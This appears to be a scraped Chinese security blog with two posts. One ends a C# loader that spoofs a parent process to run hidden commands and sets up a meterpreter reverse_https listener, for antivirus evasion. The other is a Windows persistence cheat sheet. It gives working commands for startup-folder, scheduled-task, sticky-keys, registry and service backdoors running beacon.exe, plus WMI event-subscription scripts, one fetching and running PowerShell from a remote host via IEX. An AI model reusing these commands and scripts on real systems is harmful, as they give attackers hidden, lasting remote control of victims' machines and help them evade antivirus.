
        // DuplicateHandle
        const uint DUPLICATE_CLOSE_SOURCE = 0x00000001;
        const uint DUPLICATE_SAME_ACCESS = 0x00000002;

        // https://msdn.microsoft.com/en-us/library/ms682499(VS.85).aspx
        // Handle stuff
        var saHandles = new SECURITY_ATTRIBUTES();
        saHandles.nLength = Marshal.SizeOf(saHandles);
        saHandles.bInheritHandle = true;
        saHandles.lpSecurityDescriptor = IntPtr.Zero;

        IntPtr hStdOutRead;
        IntPtr hStdOutWrite;
        // Duplicate handle created just in case
        IntPtr hDupStdOutWrite = IntPtr.Zero;

        // Create the pipe and make sure read is not inheritable
        CreatePipe(out hStdOutRead, out hStdOutWrite, ref saHandles, 0);
        SetHandleInformation(hStdOutRead, HANDLE_FLAGS.INHERIT, 0);

        var pInfo = new PROCESS_INFORMATION();
        var siEx = new STARTUPINFOEX();

        // Be sure to set the cb member of the STARTUPINFO structure to sizeof(STARTUPINFOEX).
        siEx.StartupInfo.cb = Marshal.SizeOf(siEx);
        IntPtr lpValueProc = IntPtr.Zero;
        IntPtr hSourceProcessHandle = IntPtr.Zero;

        // Values will be overwritten if parentProcessId > 0
        siEx.StartupInfo.hStdError = hStdOutWrite;
        siEx.StartupInfo.hStdOutput = hStdOutWrite;

        try
        {
            if (parentProcessId > 0)
            {
                var lpSize = IntPtr.Zero;
                var success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
                if (success || lpSize == IntPtr.Zero)
                {
                    return false;
                }

                siEx.lpAttributeList = Marshal.AllocHGlobal(lpSize);
                success = InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, ref lpSize);
                if (!success)
                {
                    return false;
                }

                IntPtr parentHandle = OpenProcess(ProcessAccessFlags.CreateProcess | ProcessAccessFlags.DuplicateHandle, false, parentProcessId);
                // This value should persist until the attribute list is destroyed using the DeleteProcThreadAttributeList function
                lpValueProc = Marshal.AllocHGlobal(IntPtr.Size);
                Marshal.WriteIntPtr(lpValueProc, parentHandle);

                success = UpdateProcThreadAttribute(
                    siEx.lpAttributeList,
                    0,
                    (IntPtr)PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                    lpValueProc,
                    (IntPtr)IntPtr.Size,
                    IntPtr.Zero,
                    IntPtr.Zero);
                if (!success)
                {
                    return false;
                }

                IntPtr hCurrent = System.Diagnostics.Process.GetCurrentProcess().Handle;
                IntPtr hNewParent = OpenProcess(ProcessAccessFlags.DuplicateHandle, true, parentProcessId);

                success = DuplicateHandle(hCurrent, hStdOutWrite, hNewParent, ref hDupStdOutWrite, 0, true, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS);
                if (!success)
                {
                    error = Marshal.GetLastWin32Error();
                    return false;
                }

                error = Marshal.GetLastWin32Error();
                siEx.StartupInfo.hStdError = hDupStdOutWrite;
                siEx.StartupInfo.hStdOutput = hDupStdOutWrite;
            }

            siEx.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
            siEx.StartupInfo.wShowWindow = SW_HIDE;

            var ps = new SECURITY_ATTRIBUTES();
            var ts = new SECURITY_ATTRIBUTES();
            ps.nLength = Marshal.SizeOf(ps);
            ts.nLength = Marshal.SizeOf(ts);
            bool ret = CreateProcess(null, command, ref ps, ref ts, true, EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW, IntPtr.Zero, null, ref siEx, out pInfo);
            if(!ret)
            {
                Console.WriteLine("[!] Proccess failed to execute!");
                return false;
            }
            SafeFileHandle safeHandle = new SafeFileHandle(hStdOutRead, false);
            var encoding = Encoding.GetEncoding(GetConsoleOutputCP());
            var reader = new StreamReader(new FileStream(safeHandle, FileAccess.Read, 4096, false), encoding, true);
            string result = "";
            bool exit = false;
            try
            {
                do
                {
                    if(WaitForSingleObject(pInfo.hProcess, 100) == 0)
                    {
                        exit = true;
                    }

                    char[] buf = null;
                    int bytesRead;

                    uint bytesToRead = 0;

                    bool peekRet = PeekNamedPipe(hStdOutRead, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref bytesToRead, IntPtr.Zero);

                    if (peekRet == true && bytesToRead == 0)
                    {
                        if (exit == true)
                        {
                            Console.WriteLine("Command executed.");
                            break;
                        }
                        else
                        {
                            continue;
                        }
                    }

                    if (bytesToRead > 4096)
                        bytesToRead = 4096;

                    buf = new char[bytesToRead];
                    bytesRead = reader.Read(buf, 0, buf.Length);
                    if (bytesRead > 0)
                    {
                        Console.WriteLine(String.Format("[+] {0} bytes read", bytesRead));
                        result += new string(buf);
                    }

                }while(true);
                reader.Close();
            }
            finally
            {
                if (!safeHandle.IsClosed)
                {
                    safeHandle.Close();
                }
            }

            if (hStdOutRead != IntPtr.Zero)
            {
                CloseHandle(hStdOutRead);
            }
            Console.WriteLine(result);
            return true;


        }
        finally
        {
            // Free the attribute list
            if (siEx.lpAttributeList != IntPtr.Zero)
            {
                DeleteProcThreadAttributeList(siEx.lpAttributeList);
                Marshal.FreeHGlobal(siEx.lpAttributeList);
            }
            Marshal.FreeHGlobal(lpValueProc);

            // Close process and thread handles
            if (pInfo.hProcess != IntPtr.Zero)
            {
                CloseHandle(pInfo.hProcess);
            }
            if (pInfo.hThread != IntPtr.Zero)
            {
                CloseHandle(pInfo.hThread);
            }
        }
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFOEX
    {
        public STARTUPINFO StartupInfo;
        public IntPtr lpAttributeList;
    }

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
    struct STARTUPINFO
    {
        public Int32 cb;
        public string lpReserved;
        public string lpDesktop;
        public string lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
        public int nLength;
        public IntPtr lpSecurityDescriptor;
        [MarshalAs(UnmanagedType.Bool)]
        public bool bInheritHandle;
    }

    [Flags]
    public enum ProcessAccessFlags : uint
    {
        All = 0x001F0FFF,
        Terminate = 0x00000001,
        CreateThread = 0x00000002,
        VirtualMemoryOperation = 0x00000008,
        VirtualMemoryRead = 0x00000010,
        VirtualMemoryWrite = 0x00000020,
        DuplicateHandle = 0x00000040,
        CreateProcess = 0x000000080,
        SetQuota = 0x00000100,
        SetInformation = 0x00000200,
        QueryInformation = 0x00000400,
        QueryLimitedInformation = 0x00001000,
        Synchronize = 0x00100000
    }

    [Flags]
    enum HANDLE_FLAGS : uint
    {
        None = 0,
        INHERIT = 1,
        PROTECT_FROM_CLOSE = 2
    }

    [Flags]
    public enum DuplicateOptions : uint
    {
        DUPLICATE_CLOSE_SOURCE = 0x00000001,
        DUPLICATE_SAME_ACCESS = 0x00000002
    }
}
}

0x02

handler -H 172.22.35.212 -P 8080 -p windows/x64/meterpreter/reverse_https    //监听

avatar
avatar

总结

  • 这个项目的免杀效果不错,在深层次的自定义后会更难被检测。

  • 每一个lab的思路都很值得学习,如果换一种语言写一遍,可能有奇效。

  • 各种隐藏进程的方式,在实战中可能比想象中更强大。

  • 感觉还是自己写加载器比较容易免杀,比如lab2那个加载器,根本不会遇到阻拦。

  • 后期加壳对免杀有很大帮助,尤其是商业化的加壳工具。

    avatar

Windows权限维持笔记.

发表于 2019-09-24 | 分类于 权限维持

Windows权限维持笔记.

在渗透的过程中及时留后门是一个好习惯,可以有效的避免一些意料之外的断连,毕竟断连后不一定还能再次拿下该主机。

不过记得在达成目的后,及时删除后门。
PS:操作均为管理员权限下进行

Windows权限维持主要就是依靠自启动或者后门,

自启动目录

copy "C:\beacon.exe" "C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\beacon.exe" /y
这目录里面的东西都会在开机登录入系统后启动。

** 开机自启动 **

定时任务

schtasks /create /tn demo /tr "c:\beacon.exe" /sc minute /mo 1
创建一个名为demo的任务,任务内容为每分钟执行一次C盘根目录下的beacon.exe
schtasks /delete /tn WindowsUpdate
删除名为demo的任务

schtasks可以周期运行,重复检索任务是否处于运行状态,如果任务已经在执行不会重复执行。PS:schtasks可以深度定制。

shift后门

takeown /f C:\windows\system32\sethc.* /a /r /d y&&cacls C:\windows\system32\sethc.exe /T /E /G system:F&&copy "C:\beacon.exe" C:\windows\system32\sethc.exe /y

把粘滞键的启动程序改为后门程序。

要求能进入windows锁屏界面,且未关闭shift启动粘滞键,比如可以3389连过去或者能直接接触到。

注册表

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\beacon.exe" /f

reg add HKEY_CURRENT_USER\Environment\UserInitMprLogonScript /t REG_EXPAND_SZ /d C:\beacon.exe

第二条启动先于杀软,注册表自启动路径很多,记几种常用的即可
** 开机自启动 **

创建服务

sc create "demo" binpath= "C:\beacon.exe"
sc config "demo" start= auto
创建一个名为demo的自启动服务,服务路径为C:\beacon.exe    

** 开机自启动 **

WMI

SEADADDY的修改版

其中,事件过滤是从PowerSploit的持久化模块,用于在系统启动时触发,事件处理则以SYSTEM权限执行一个程序

$filterName = 'BotFilter82'
$consumerName = 'BotConsumer23'
$exePath = 'C:\Windows\System32\evil.exe'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >=200 AND TargetInstance.SystemUpTime < 320"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

klion大佬blog

administrator账户登录才会触发

<#
Credits to @mattifestion for his awesome work on WMI and Powershell Fileless Persistence.  This script is an adaptation of his work.
#>

function Install-Persistence{

$Payload = "<strong>((new-object net.webclient).downloadstring('http://172.22.35.241/demo.txt'))</strong>"
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'
$finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"

# Create event filter
$EventFilterArgs = @{
    EventNamespace = 'root/cimv2'
    Name = $EventFilterName
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
    QueryLanguage = 'WQL'
}

$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs

# Create CommandLineEventConsumer
$CommandLineConsumerArgs = @{
    Name = $EventConsumerName
    CommandLineTemplate = $finalPayload
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs

# Create FilterToConsumerBinding
$FilterToConsumerArgs = @{
    Filter = $Filter
    Consumer = $Consumer
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs

#Confirm the Event Filter was created
$EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
if ($EventCheck -ne $null) {
    Write-Host "Event Filter $EventFilterName successfully written to host"
}

#Confirm the Event Consumer was created
$ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
if ($ConsumerCheck -ne $null) {
    Write-Host "Event Consumer $EventConsumerName successfully written to host"
}

#Confirm the FiltertoConsumer was created
$BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'"""
if ($BindingCheck -ne $null){
    Write-Host "Filter To Consumer Binding successfully written to host"
}

}

function Remove-Persistence{
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'

# Clean up Code - Comment this code out when you are installing persistence otherwise it will

$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject

}

function Check-WMI{
Write-Host "Showing All Root Event Filters"
Get-WmiObject -Namespace root/subscription -Class __EventFilter

Write-Host "Showing All CommandLine Event Consumers"
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer

Write-Host "Showing All Filter to Consumer Bindings"
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
}

avatar

​

123
scareing

scareing

29 日志
18 分类
20 标签
RSS
GitHub E-Mail
0%
© 2022 scareing